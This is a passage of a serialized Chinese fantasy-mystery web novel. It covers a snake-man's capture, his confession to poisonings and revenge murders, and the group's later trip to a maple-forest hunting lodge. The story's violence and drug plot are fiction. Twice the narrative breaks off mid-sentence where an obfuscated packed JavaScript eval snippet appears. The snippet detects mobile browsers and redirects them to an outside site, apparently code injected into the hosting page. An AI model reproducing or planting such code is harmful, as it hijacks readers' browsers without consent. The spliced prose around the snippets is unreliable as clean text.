“别做无谓的挣扎!”江知烨追上前,鲨鱼尾横扫而过,带起的水流将蛇人牢牢困在原地。黑磷蛇人眼中闪过一丝惊惧,他扭动身体试图反击。 “为什么杀张兆,快说!”江知烨沉声道,手臂探出水花,铁钳般的手掌攥住蛇人的手腕。他能感觉到对方身体的僵硬,以及隐藏在愤怒下的一丝慌乱。 黑磷蛇人猛地甩动尾巴,试图用尾部攻击,但江知烨早有预判,侧身避开的同时,另一只手狠狠切在蛇人后颈的薄弱处。 蛇人身体一软,动作瞬间迟滞不敢动弹。 见状江知烨当机立断将黑磷蛇人往自己身后一拽,同时鲨鱼尾用力拍打水面,整个人带着蛇人横向跃出数米。 他单手扼住黑磷蛇人的咽喉,另一只手划水,鲨鱼尾爆发出更强的推力,朝着岸边游去。 黑磷蛇人此刻已是强弩之末,刚才被击中的部位还在隐隐作痛,后颈被切中的地方更是使不出力气,只能徒劳地扭动身体。 岸边的顾时夜和顾夜白早已备好绳索,看到江知烨拖着一个黑影靠近,立刻抛去套索。 江知烨迅速接住套索缠在蛇人腰间,两人合力将其拉上岸。当黑磷蛇人的身体离开水面的瞬间,江知烨下半身的鲨鱼尾也迅速褪去,变回人类的双腿,湿漉漉的上衣紧贴在身上,勾勒出流畅的肌肉线条。 黑磷蛇人被重重摔在沙滩上,他剧烈地咳嗽着,嘴角溢出黑色的血沫。顾时夜立刻上前,用锁链捆住他的手脚不让其挣扎。 事已至此,案件也卸下了落幕。 35. 天道因果 审问室设在后院的偏房,光线昏暗,空气中弥漫着淡淡的草药味,为了中和各种兽人身上的异味。 黑磷蛇人被锁链固定在特制的审讯椅上不得动弹。他此刻已经恢复了人形上半身,下半身却依旧保持着蛇尾的形态。 顾时夜站在他面前,手中捏着一叠卷宗,脸色沉得像要滴出水来。顾夜白站在一旁,手中握着一支记录用的羽笔,目光锐利地观察着蛇人的每一个细微表情。 江知烨则靠在门边,身上换了干爽的衣物,但头发上还带着水汽,眼神平静地落在蛇人身上。 “姓名。”顾时夜开口,声音不带一丝感情。 蛇人抬起头,嘴角扯出一抹嘲讽的笑:“到了这个地步,名字还有意义吗?” “看来你还没弄清楚状况。”江知烨上前一步,居高临下地看着他,“我们找到你时,你身上带着沾染张兆血迹的匕首,刀柄上的纹路,和两年前兔女凶杀案,在蝙蝠兽人身上留下的痕迹如出一辙。你以为能瞒多久?” 提到“兔女凶杀案”,蛇人的身体不易察觉地颤抖了一下,但很快又恢复了镇定。 “是我做的。” 他忽然开口,声音异常干脆,“张兆是我杀的,两年前那个兔子精,也是我杀的。” 顾时夜和顾夜白对视一眼,都从对方眼中看到了惊讶。 他们预想过嫌疑人的抵赖、狡辩,甚至是歇斯底里的否认,却没想到他会如此痛快地承认。 “为什么?”顾时夜追问,“那个兔女,她只是个普通的商贩,你杀她做什么?” 蛇人低下头,看着自己被锁链束缚的双手,眼神空洞地说:“普通吗,你们不是知道吗?还在问这些干嘛?” “我们知道”江知烨皱眉,“但我更想知道你的原因。” “为什么?”蛇人突然低笑起来,笑声里带着无尽的悲凉,“也罢,事到如今,我告诉你们吧。” 以下是凶手的自述: 我叫秦勇,祖上三代在南清城开草药铺,手掌常年沾着黄芪与陈皮的辛香。 最开始那年第一次路过米酒年糕铺时,桂花香混着蒸笼热气扑来,街角王萍的年糕摊前总排着长队。 她扎着月白围裙,捏着木勺往模具里舀米浆时,兔耳朵会随着动作轻轻颤动——谁都觉得她像块刚出锅的年糕,软糯无害。 头回尝她的米酒年糕,舌尖触到甜糯米团里流心的酒酿,喉间立刻泛起痒意。 起初只是隔三差五买两块,后来变成每日破晓必去,若哪日没尝到那带着微醺气的甜腻,指尖就止不住地发抖。 街上穿青布衫的老茶客们都说这年糕有勾魂的本事,我那时只当是玩笑,直到某天发现自己站在烟摊前,鬼使神差地买下一管旱烟。 “秦老板也开始抽烟了?”摊主搓着油乎乎的手笑。我捏着烟杆的指节发白——从前闻见烟味就皱眉的人,此刻竟觉得那苦涩气息能压下胃里的空落。 更可怕的是半月后,我在药铺后堂翻找龙骨时,突然抓起桌上的鸦片膏往嘴里送。烟枪点燃的瞬间,我望着铜镜里自己涣散的瞳孔,后颈猛地窜起寒意:王萍的年糕里,一定有东西。 秋夜三更,我揣着药锄蹲在年糕摊后院的篱笆外。月光把晾着的蒸笼照得发白,王萍正跟个穿黑斗篷的男人低声说话,斗篷边缘露出半边面容——是个毁容的猫族兽人。 “这批‘花君子’掺进米浆里,半勺就能让他们这辈子离不开你的年糕。”男人声音嘶哑,“西境来的货,官府查不到。” 我攥碎了手里的艾草,药汁顺着指缝往下滴。王萍低头绞着围裙,兔耳朵却竖得笔直:“可要是吃坏了人……” “蠢货!”那贩子冷笑,“少量掺毒只会让人成瘾,谁会想到是年糕的问题?你看那卖草药的秦勇,现在不也跟离不开婆娘似的离不开你的年糕?” 血往脑门上涌的刹那,我差点撞翻篱笆。 我成为了一个瘾君子,而这一切不是因为我的堕落,而是一场阴谋。 原来那花君子不仅让人成瘾,还会慢慢侵蚀脏腑——我药铺账本里记着的,近半年来突然暴毙的几个老主顾,都是年糕摊的常客。 我想冲进衙门敲登闻鼓,可当值的官员扫了眼我袖口磨出的蛇鳞纹路,冷笑说:“蛇族心眼多,别是想讹诈人小姑娘吧?”街上卖糖葫芦的大爷听见,也跟着摇头:“人小姑娘多实诚的人,怎么会做这种事?” 偏见像块烙铁,烫得我心口生疼。 蛇族生来就该被叫做“阴险”,兔子就该是“单纯”——这世道从不管真相是什么。 那晚月头像块凝血的破布,我揣着药铺里最毒的“蝎尾草”,潜进年糕摊的地窖。王萍正蹲在石缸前搅米浆,听见动静回头时,我已经把整包毒药撒进了缸里。 “你……”她的兔耳朵剧烈颤抖,手里的木勺“哐当”落地。我看着她瞪圆的红眼睛,突然想起自己第一次吃年糕时,她也是这样笑眯眯地问我“够不够甜”。 可下一秒,地窖门口传来脚步声,一个背着翅膀的黑影探进头来——是意城的蝙蝠兽人,总在夜里出来。 他看见石缸里的毒药,又看看我手里的空纸包,喉间发出嗬嗬的惊叫。 我甚至没来得及思考,腰间的割草药刀就已经捅进他的腹部。刀刃抽出时,温热的血溅在我手背上,反而让我异常冷静。 我用刀撬开蝙蝠兽人的嘴,掰下他左排最尖的獠牙,再将王萍的尸体拖到米缸边,让那獠牙在她脖颈上留下齿痕。 你问我王萍什么时候死的,那自然是秘密,反正她是中毒死的。 血顺着石缝渗进米浆里,混着蝎尾草的青绿色,像幅诡异的画。 做完这一切,我把蝙蝠兽人的尸体扛上肩,趁夜塞进巷口毒贩的木头推车——那毒贩跟王萍有生意往来,是个灯下黑的角儿,定会帮我处理尸体。 为什么不带走王萍的?那自然是为了混洗你们这些官员啊,伪造成可怜的兔子小姐是被咬死的,而凶手早跑了。 事实上,我不能保证我做的一切可以保证让我脱身,但至少我有足够时间避过风头再逃走。 果然,第三天清晨就有人发现米酒年糕铺的王萍死了,我混在围观的人群里,听着议论:“真吓人,谁会这么狠毒啊。”旁边的老妇人抹着泪:“多好的小姑娘,就这么被害死了……” 我低下头,指甲深深掐进掌心。当他们对着兔子的尸体叹息时,没人看见石缸里沉底的毒药,也没人看见蛇族袖口那片被血染红的鳞片。 逃离南清城那天,我在“花月满人间”不小心撞到了一个官员,那自然就是你,江大人,可惜你和一个凶手擦肩而过但你并不知情。 西境荒漠里全是灰扑扑的风沙,偶尔遇见几个蛇族部落,都像防贼似的盯着我。盘缠用尽那天,我在戈壁滩上撞见个穿绸衫的男人,他蹲在沙地上画着什么,身边散落着各色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694767|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒草。“我叫张兆,”他抬头时眼里闪着狂热的光,“在找一件‘毒’的艺术品。” 我以为他是采药人,便坐下歇脚。他说想拿瀚海巨蟒的毒牙做艺术,可前几日去挑战巨蟒,反被追得差点咬断了三根手指。 “你是蛇族吧?”他突然抓住我的手腕,“你的牙一定很锋利,借给我用用?” 我想推开他,却闻到一股甜腻的异香——是鸦片膏。张兆不知何时在我领口抹了药,我浑身发软倒在沙地上,眼睁睁看他拿出烙铁和钳子。 蜡油滴在牙床上的剧痛让我眼前发黑,他一边哼着小曲一边用钳子拧我的尖牙,血沫顺着嘴角流进沙子里,把黄色的沙砾染成暗红。 “艺术需要牺牲,”他把血淋淋的牙齿放进锦盒,用布擦着钳子上的血,“你就当是为我张兆的杰作献身吧。”说完便把我扔进附近的枯井,扬长而去。 井底的夜风冷得像刀,我摸着空荡荡的牙床,尝到喉咙里腥甜的血味。 作为蛇族,毒牙是尊严,是生存的根本。 现在我成了没牙的蛇,连最弱小的田鼠都能欺辱我。 可或许是求生的本能太烈,或许是毒粉的毒性在体内反复淬炼,三日后我竟从枯井里爬了出来,靠着啃食毒草活了下去。 戒毒的日子比死还难受。每个深夜都像有无数蚂蚁在骨头里爬,我抓烂了手臂上的鳞片,在沙地里打滚,直到把胃里的苦水都吐出来。 两年后,准确来说是前半年,当我重新站在南清城门口时,铜镜中的自己已经长出新的鳞片,虽然颜色比从前浅了些,但眼神里没了过去的浑浊。 听说张兆成了名震一时的“骨艺大师”,还要路过南清城在“望山客”歇脚。 我知道我的机会来了。 “你是谁?”他皱着眉,显然没认出这个穿着粗布衫的蛇人。 我没说话,只是从袖中抽出匕首,叫蝎尾勾,我用它杀了那个死蝙蝠,不建议再杀一个。 说实在,张兆是蝎子兽人,倒是和我的匕首相呼应。 匕首捅进他腹部的瞬间,他眼里的傲慢变成了惊恐。我想起枯井里的寒冷,想起蜡油烫在牙床上的剧痛,反手用烧红的烙铁按在他尾尖上——如同他当年拔我牙时那样。 “你的毒刺呢?”我捏着他的下巴,看着他痛不欲生的表情,心情愉悦,“不是说要做毒的艺术吗?”烙铁烫穿外壳的声音滋滋作响,他惨叫着晕过去,我却异常平静地用钳子拧下来他的毒刺,就像当年他对我做的那样。 尸体被发现时,在你们忙的热火朝天时,却没人知道,那个没牙的蛇人,早已在复仇的火焰里褪去了旧蜕。 我获得了真元,没错,一个凶手,可笑吗? 所有人梦寐以求的东西,我杀几个人就有了,你说天道是什么呢? 我把张兆的毒刺扔进护城河里,看着它们沉进墨绿色的水底。 当年年糕里的花君子,蝙蝠兽人的獠牙,沙地里的烙铁印,此刻都像褪下的蛇皮,轻飘飘地散在风里。 或许天道因果本就如此,你种下的毒,终会变成刺向自己的刀。 天道轮回,因果循环,我这条蛇终究用兽人的方式,讨回了属于自己的公道。 南清城的灯火在远处明明灭灭,我不知道前路在哪,但至少,我不再是那个被年糕和毒牙控制的秦勇了。 人性也好,兽性也罢,活下去,才是最根本的道理,这就是天道。 36. 枫红时节话鹿鸣 秋意渐浓,南清城郊外的山峦早已被染透了颜色。 方妙裹着件藕荷色的披风,拉着安德鲁的袖子,眼睛亮晶晶的,“安德鲁你看!那边的枫叶是不是比昨日更红了?”她话音未落,又自个儿蹦跳着转了个圈,“我跟你说,我前段时间闲着无聊就到处去玩,无意间发现了一处好地方!叫‘鹿鸣庄’,就在城南那片枫树林深处,漫山遍野都是红枫,还有瀑布小溪,美极了!” 安德鲁由着她拉着,嘴角噙着温和的笑意,“哦?有多美?能让我们方妙姑娘如此念念不忘。” “不是我夸张!”方妙仰起脸,语气笃定,“那儿不光景美,还能打猎呢!庄主人说,山里曾有人见过一只雪白的‘神鹿’,就一只角,长在额头正中间,可奇特了!传闻说,遇到神鹿的人会得到赐福呢!”她说着,小手还煞有介事地比划着鹿角的位置,“可惜我上次去得匆忙,没遇上,不然一定要带你和大家去看看!” “神鹿?”刚走近的江知烨闻言挑了挑眉,“方妙,你又听那些山民瞎掰扯了吧?哪来的神鹿,多半是哪家的鹿跑丢了,长得稀奇些罢了。” “才不是呢!”方妙嘟起嘴,正要反驳,身旁的柳漠澜却温声开口了,“好了,知烨,方妙也是觉得有趣才说与我们听。既然她觉得那地方好,我们不妨去看看,权当放松一番。” 柳漠澜话音刚落,不远处的顾时夜和顾夜白兄弟俩闻言便凑了过来。 顾时夜笑嘻嘻地搭住顾夜白的肩膀:“去去去!打猎好啊!我好久没摸弓箭了,正好试试手。” 顾夜白也跟着点头,眼睛滴溜溜地转:“说不定真能遇上那‘神鹿’呢,到时候咱们也沾沾福气!” 一直安静站在一旁的白鸽,闻言也抬了抬眼,目光在众人脸上扫过,最后落在方妙身上,轻轻点了点头。 安德鲁见众人兴致都高,便颔首道:“既然大家都想去,那便安排一下。我和知烨先把都察院和理尚府的事务交代清楚,漠澜也将酒楼的事安排妥当,明日一早,我们便出发。”他处事向来稳妥,三言两语便将事情定了下来。 江知烨拍了拍安德鲁的肩膀:“行,这事交给我,保证不耽误。” 见状柳漠澜也微微颔首:“我那边也没问题。” 于是,接下来的大半天,众人便各自忙碌起来。安德鲁回到都察院,将近期的案卷和待办事项一一交代给副手,又仔细叮嘱了几句,确保自己不在时衙门运转如常。 江知烨则在理尚府内,将一些需要加急处理的文书批好,又对府中管事交代了府内杂务。 柳漠澜回到他的“花月满人间”,将后厨和前堂的事宜都安排给了得力的掌柜和领班,确保酒楼生意不受影响。 方妙则蹦蹦跳跳地回家收拾行李,她翻出自己最厚实的几套衣裳,又往包袱里塞了些常用的药膏和干粮,想到要去打猎,还特意把自己那把小巧的弓箭也擦了擦,装进了行囊。 傍晚时分,众人在约定的城门口汇合。安德鲁和江知烨各自牵了两匹健硕的骏马,马背上早已捆好了行囊。 方妙看着那高头大马,有些犯难,她个子小巧,平日里骑马不多。 安德鲁见状,二话不说便将她打横抱起,轻轻放在自己的马背上,让她坐在自己身前。 “欸?安德鲁,我自己能……”方妙话没说完,就被安德鲁环在腰间的手臂稳住了身形。 “你坐后面容易颠着,”安德鲁的声音从头顶传来,带着一丝不容置疑的温柔,“坐前面,我护着你。”他双腿一夹马腹,骏马便稳健地迈开了步子。 闻言方妙脸颊微微发烫,乖乖地坐好,手指无意识地攥着马鞍上的缰绳。 不远处,江知烨也扶着柳漠澜上了自己的马,同样让他坐在前面。柳漠澜身形清瘦,坐在江知烨身前,倒显得格外契合。江知烨低头看了看怀中的人,嘴角扬起一抹宠溺的笑,随即策马跟上安德鲁。 “小白,我们走!”顾时夜喊了一声,话音未落,他和顾夜白身上便泛起淡淡的黑光,转瞬之间,已化作两只矫健的黑鸦,振翅飞上了天空。 白鸽也无声地动了动,化作一只雪白的信鸽,轻轻落在安德鲁的肩头。 夕阳西下,七人两马三鸟,沿着铺满红叶的小路,朝着城南的枫树林深处行去。 马蹄踏在落叶上,发出沙沙的声响,与空中飞鸟的振翅声交织在一起,构成了一曲秋日里独特的乐章。 方妙坐在安德鲁身前,看着两侧后退的枫树林,感受着身后那人稳健的心跳和温暖的体温,心里满是期待和欢喜。 “安德鲁,你说我们真能遇上那神鹿吗?”她忍不住又提起了这事。 安德鲁低头,看着她毛茸茸的发顶,笑道:“遇上了便是缘分,遇不上,看看这满山红叶,泡泡温泉,打打猎,也算是一桩乐事。” 江知烨在后面听见了,大声道:“就是!方妙你别老惦记着那神鹿,到时候你哥我打只最大的山鸡给你烤着吃!” 柳漠澜轻轻拍了拍他的手臂,温声道:“别闹,小心惊了马。” 暮色渐浓,当最后一抹夕阳的余晖洒在枫树林中时,前方终于出现了一座隐在红叶深处的山庄。庄门上方挂着一块木质匾额,上面用朱砂写着“鹿鸣庄”三个大字,字迹古朴苍劲。 山庄四周被高大的枫树环绕,一条清澈的小溪从庄前流过,溪水叮咚作响,更衬得这里宁静祥和。 “到啦到啦!就是这里!”方妙远远地就看见了熟悉的庄门,兴奋地拍了拍安德鲁的手臂。 安德鲁勒住马缰,骏马缓缓停下。江知烨和柳漠澜也跟着停了下来,顾时夜两人见状,便从空中落下,在众人身边化作兽人形。 顾时夜揉了揉胳膊:“还是变回来舒服,飞了这么久,胳膊都酸了。” 顾夜白则好奇地打量着眼前的山庄:“哇,这里比方妙说的还好看呢!” 庄门“吱呀”一声打开,一个须发皆白的老者拄着拐杖走了出来。他穿着一身粗布衣裳,脸上带着和蔼的笑容,看见方妙时,眼睛顿时亮了起来:“哎哟,这不是妙丫头吗?你可算来了,我还念叨着你上次怎么走得那么急呢!” “林伯!”方妙立刻从马上跳了下来,跑到老者面前,亲热地拉住他的手,“我这不是带朋友来了嘛!林伯,这是安德鲁,这是江知烨,柳漠澜,还有顾时夜、顾夜白,这是白鸽。”她一一介绍着,语气里满是得意,“他们都是我的好朋友!” 林伯笑眯眯地对着众人拱手:“欢迎欢迎,各位贵客光临鹿鸣庄,真是让这小地方蓬荜生辉啊!快请进,快请进!”他说着,便热情地招呼众人进门。 安德鲁和江知烨牵着马,跟着林伯走进山庄。一进庄门,便是一个宽敞的庭院,院内种着几棵高大的银杏树,金黄的叶子落了一地。穿过庭院,是一条蜿蜒的石子路,两旁种满了各色秋菊,开得正盛。再往里走,便能看到几座错落有致的木质房屋,皆被红叶掩映,环境清幽雅致。 “庄里地方简陋,各位别嫌弃。”林伯一边走一边说道,“妙丫头上次来就住东厢房,我已经让人收拾出来了。安德鲁公子和江公子、柳公子,还有顾家两位小公子和白鸽公子,都住在西厢房,那边房间多,也僻静。” 他带着众人来到西厢房,只见这里果然有好几间独立的屋子,每间都收拾得干净整洁,窗明几净。屋内陈设简单却不失雅致,桌上还放着刚采来的野菊花,散发着淡淡的清香。 “谢谢林伯,这里很好了。”安德鲁拱手道谢,江知烨也跟着道:“是啊,林伯太客气了。”柳漠澜则温和地对林伯笑了笑。 顾时夜和顾夜白早已迫不及待地冲进各自的房间,这边看看,那边摸摸。白鸽则安静地走进属于自己的房间,放下行囊,便站在窗前,看着外面的枫树林。 “各位先安顿一下,收拾收拾东西。”林伯说道,“这天色也不早了,我让佣人去准备晚饭,你们要是累了,就先去泡泡温泉解解乏。温泉就在庄后那片竹林旁边,路也好找,我让佣人给你们带路。” “温泉?”方妙眼睛一亮,“林伯,是你说的那个天然温泉吗?” “可不是嘛!”林伯笑道,“水温正好,泡一泡,浑身的乏劲儿都没了。” “太好了!”方妙高兴地拍起手来,“安德鲁,我们快去泡温泉吧!” 安德鲁看着她雀跃的样子,点了点头:“好,你先去换身衣服。” 于是,众人各自回房,换上了轻便的浴衣。安德鲁和江知烨他们都是男子,浴衣颜色偏深,多为墨蓝、藏青,而方妙的浴衣则是柔和的粉色,上面绣着几朵淡雅的秋菊。 换好衣服后,众人在庭院里集合。林伯派了一个年轻的佣人在前头带路,众人便跟着他往后山走去。 穿过一片茂密的竹林,果然看到一个天然形成的温泉池。池子不大,呈椭圆形,四周用鹅卵石砌成,池中的泉水冒着袅袅热气,散发出淡淡的硫磺味。泉水清澈见底,在夕阳的余晖下,泛着温润的光泽。 “哇,真舒服啊!”方妙率先走到池边,伸出脚尖试了试水温,“不烫不凉,正好!” 安德鲁走到她身边,帮她将披散的头发用一根木簪束起:“小心滑,我扶你下去。” “嗯!”方妙乖乖地任由他扶着,慢慢走进温泉池。 温热的泉水瞬间包裹了全身,从脚尖一直暖到心底,连日来赶路的疲惫仿佛一下子就消散了。 江知烨和柳漠澜也跟着下了水。江知烨一进去就舒舒服服地叹了口气:“哎呀,这才叫日子嘛!比在府里批文书舒服多了!”柳漠澜则安静地坐在他身边,闭目养神,脸上带着一丝放松的笑意。 顾时夜和顾夜白就没那么安分了,两人一进水池就打起了水仗,你泼我一下,我泼你一下,溅起不少水花,还时不时地朝着方妙这边喊:“妙儿姐,快来帮我!他欺负我!” 方妙被他们逗得直笑,也舀起水泼了过去:“你们俩别闹了,小心呛着!” 安德鲁坐在方妙身边,看着他们打闹,脸上带着纵容的笑意。他转头看向一直安静坐在角落的白鸽,问道:“白鸽,水温还适应吗?” 白鸽抬起头,看了看安德鲁,又看了看其他人,然后轻轻点了点头,“很舒服。” “喜欢就好。”安德鲁笑了笑,不再打扰他。 七人泡在温暖的泉水中,一边聊天一边放松。方妙叽叽喳喳地说着她上次来鹿鸣庄的趣事,说她怎么在小溪里抓到一条肥美的草鱼,怎么被林伯家的大黄狗追着跑了半条街。 江知烨则时不时地插科打诨,逗得众人哈哈大笑。顾时夜和顾夜白也不停地搞怪,一会儿潜到水里扮水鬼,一会儿又假装被“神鹿”吓到,引得方妙直拍他们的脑袋。 温泉的水汽氤氲在空气中,将众人的身影笼罩在一片朦胧之中。不知不觉间,天色已经完全暗了下来,只有天边还残留着一抹淡淡的霞光。 “差不多了,我们该回去吃饭了。”安德鲁看了看天色,对方妙说道。 “啊,这么快?”方妙还有些意犹未尽,但肚子却“咕噜”叫了一声,惹得众人又是一阵笑。 随即众人纷纷起身,用佣人早就备好的干毛巾擦干身体,穿上浴衣,慢悠悠地往回走。 回到庄内,只见正厅的餐桌上已经摆满了热气腾腾的饭菜。 林伯站在一旁,笑眯眯地招呼众人:“快坐下快坐下,都是些山里的粗茶淡饭,各位别嫌弃。” 桌上有清炖山鸡、红烧野兔、蒜蓉野菜、香菇炖豆腐,还有一盘油亮亮的烤鹿肉。 方妙一看到烤鹿肉,眼睛顿时亮了:“哇,林伯,这是你烤的鹿肉吗?好香啊!” “是啊,”林伯笑着说,“早上刚打的野鹿,新鲜着呢,你们尝尝看合不合口味。” 众人纷纷落座,安德鲁坐在方妙身边,帮她盛了一碗山鸡汤:“先喝点汤暖暖胃。” 江知烨则迫不及待地夹了一块烤鹿肉放进嘴里,一边嚼一边含糊不清地说:“嗯!好吃!林伯这手艺绝了!” 方妙喝了一口鸡汤,觉得鲜美无比,忍不住又喝了一口,这才说道:“林伯,我们明天想去山里打猎,你知道那只‘神鹿’经常出没的地方吗?” 林伯闻言,放下筷子,捋了捋胡须,脸上露出一丝神秘的神色:“说起这‘神鹿’,可真是个奇事。我在这山里住了很多年了,也就听人说起过几次,说它通体雪白,头上只有一只角,长在额头正中间,跑起来快如闪电,一般人根本见不着。有人说它是山神的坐骑,有人说它是祥瑞之兆,遇到它的人会得到福气。” “真的这么神奇吗?”顾夜白好奇地问道,“那林伯你见过吗?” 闻言林伯摇了摇头:“我啊,也只是听说,没亲眼见过。不过前几年,有个上山砍柴的樵夫,倒是说他见过一次。他说那天他在林子里迷路了,正着急呢,突然就看见一只雪白的鹿从他眼前跑过,那鹿头上就只有一只角,长得可俊了。他当时吓得够呛,等回过神来,那鹿已经没影了。后来他按着那鹿跑的方向走,居然就走出了林子。你说这是不是神鹿在给他指路?” “哇,好神奇啊!”方妙听得眼睛都直了,“那我们明天一定要去碰碰运气,说不定也能遇上呢!” 安德鲁夹了一筷子野菜放进方妙碗里,笑道:“遇上了是缘分,遇不上也没关系,我们主要是来打猎散心的。” 江知烨擦了擦嘴,说道:“就是,我看那神鹿多半是传说,哪有那么容易遇上。不过这山里的野物倒是不少,明天我非得打只最大的野猪不可!” 柳漠澜给江知烨倒了杯茶,温声道:“打猎也要注意安全,别太莽撞。” “知道了知道了,我的好漠澜。”江知烨嬉皮笑脸地凑过去,在柳漠澜耳边小声说了句什么,惹得柳漠澜脸颊微微泛红,轻轻推了他一下。 顾时夜见状,故意咳嗽了一声:“咳咳,我说你们俩,能不能注意点,这儿还有这么多人呢!” 顾夜白也跟着起哄:“就是就是,酸掉牙了!” 柳漠澜无奈地摇了摇头,也不跟他们计较。对此安德鲁和方妙相视一笑,继续吃着饭。 谁叫人爱的紧呢? 一顿饭吃得热闹又温馨,直到月上中天,众人才意犹未尽地放下筷子。林伯让人撤了碗筷,又端来一盘刚摘的野果。 “各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694768|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是吃好了,就到院子里坐坐吧,今晚的月亮可亮了。”林伯说道。 众人便跟着林伯来到庭院里。方妙找了个石凳坐下,抬头看着天上的星星,忍不住感叹:“哇,这里的星星好多好亮啊!比城里清楚多了!” 安德鲁在她身边坐下,顺着她的目光望去,“是啊,山里空气好,没有那么多烟尘,星星自然看得清楚。” 江知烨和柳漠澜并肩坐在不远处的廊檐下,低声说着话。江知烨指着天上的星星,不知道在跟柳漠澜讲什么,柳漠澜微微侧着头,认真地听着,嘴角带着温柔的笑意。 顾时夜和顾夜白就很顽皮了,对于他两来说什么都是稀奇的,一会儿院子里追逐打闹,一会儿去够树上的叶子,一会儿又趴在地上看蚂蚁搬家,像两个永远也长不大的孩子。 白鸽独自一人站在庭院的角落里,仰望着星空。方妙看着白鸽的身影,心里微微一动,便站起身走了过去。“白鸽,你怎么一个人站在这里?” 白鸽听到声音,转过头来看向方妙,对着她露出一个淡淡的微笑,“看呆罢了。” “你也喜欢看星星吗?”方妙也学着他的样子,仰起头,“你看那颗,好亮啊,像不像一块宝石?” 白鸽顺着她指的方向看去,然后轻轻点了点头。 “我小时候,常听人说,天上的每一颗星星,都代表着一个人。”方妙轻声说道,“要是哪颗星星突然变得很亮,就说明那个人正在想念你呢。” 白鸽静静地听着,突然伸出手,指了指天空中一颗不算太亮,但很稳定的星星,然后又指了指自己。 方妙愣了一下,随即明白了他的意思,忍不住笑了起来:“你是说,那颗星星是你吗?” 白鸽点了点头,又指了指方妙,然后指向旁边一颗稍微亮一些的星星。 “那这颗是我?”方妙心里暖暖的,“真好,我们的星星离得这么近。” 白鸽看着她,眼睛里闪烁着笑意,轻轻点了点头。 安德鲁在一旁看着他们的互动,脸上露出欣慰却又不自然的笑容。 他知道白鸽因为嗓子的原因,平日里很少与人交流,方妙能主动去和他说话,让他很是高兴。 可是他不希望方妙眼里有别人。 ....... 第二天,七人在庭院里集合时,林伯已让佣人备好了马屁。 “都记着规矩,”安德鲁翻身上马,顺手将方妙扶上她的小白马,“山林深处雾气重,别走散了。知烨,你带顾时夜他们走西侧松林,我和漠澜、方妙、白鸽走东侧溪谷。”他指节叩了叩马鞍旁的牛皮水囊,“午时在瀑布下汇合。” 江知烨早已按捺不住,一拍马臀笑道:“安德鲁你忒谨慎!方妙、顾时夜、夜白、白鸽,今儿可要看你们的箭法了!谁先猎到猎物,晚上的烤肉就多吃三块!” “好耶!走走走!今天我要大展身手!”顾时夜兴奋地大喊,率先上马。 柳漠澜牵着马走到江知烨身边,伸手替眼前人理了理被风吹乱的鬓发:“当心脚下,林伯说前几日刚下过雨,山路滑。” 江知烨反手握住他的手,在马背上欠身亲了亲他的指尖:“放心,你男人我箭无虚发!” 两拨人在岔路口分开。安德鲁勒住马缰等方妙跟上,见她正好奇地盯着路边一丛带刺的野蔷薇,便放缓语速道:“看到那边的松鼠了吗?毛色发红的是山松鼠,跑得极快,射的时候要算准提前量。”方妙顺着他指的方向望去,果然见一只毛茸茸的红松鼠正抱着松果啃。 东侧溪谷的路更难走些,枫叶厚厚铺了一层,马蹄踩上去发出“噗噗”的声响。柳漠澜的马走在最前面,他不时勒住马查看地面的兽踪:“这里有野兔的脚印,新鲜的,应该没跑远。”方妙立刻来了精神,摘下箭囊里的短弓。 “我来试试!”她屏住呼吸,瞄准前方一簇晃动的灰毛。箭矢“嗖”地飞出,却只射中了野兔身旁的蕨类植物,惊得那兔子“吱”地一声钻进了石缝。 方妙懊恼地跺了下脚:“又没中!”安德鲁却笑了,伸手揉了揉她的发顶:“第一次能射到这个距离已经不错了,野兔本就机敏。” 白鸽突然勒住马,他的目光落在不远处的枫树上。众人顺着他的视线望去,只见一只肥硕的竹鸡正站在横枝上梳理羽毛,褐黄色的羽毛间点缀着细密的黑斑。 白鸽几乎没发出任何声响,搭箭、拉弓、放箭,动作一气呵成。箭矢精准地穿透竹鸡的翅膀,那禽鸟扑棱着掉在落叶堆里,连叫声都没来得及发出。 “哇!白鸽你弓法长进了!!”方妙忍不住拍手称赞。 安德鲁也颔首:“好箭法。” 就在这时,西侧松林方向传来一阵喧闹。顾时夜的声音隔着林子飘过来:“小白!快追!那只锦鸡往这边飞了!”紧接着是顾夜白的大喊:“江大人,你射偏了!差点射到我耳朵!” 闻言安德鲁无奈地摇了摇头:“看来他们那边更热闹。” 众人催马往瀑布方向走,刚转过一道山弯,就见江知烨正叉着腰站在溪边,顾时夜和顾夜白蹲在地上,手里各拎着一只湿漉漉的山鸡。 江知烨见了他们,立刻嚷嚷起来:“安德鲁你看这俩小子!为了追一只锦鸡,结果双双掉进溪里,现在成了落汤鸦了!” 顾时夜抹了把脸上的水,不服气地说:“那锦鸡羽毛太漂亮了,我想射下来给妙儿姐做头饰嘛!” 顾夜白也跟着点头:“就是!谁知道那石头滑……” 方妙看着他们湿透的衣裤,笑得直不起腰:“你们俩啊,真是活宝!” 柳漠澜赶紧从行囊里拿出干毛巾递给他们:“快擦擦,别着凉了。”江知烨则献宝似的举起自己的箭囊:“看看我打到的!两只斑鸠,一只野兔子!” 安德鲁看了看他箭囊里的猎物,笑道:“不错,总算没白跑一趟。” 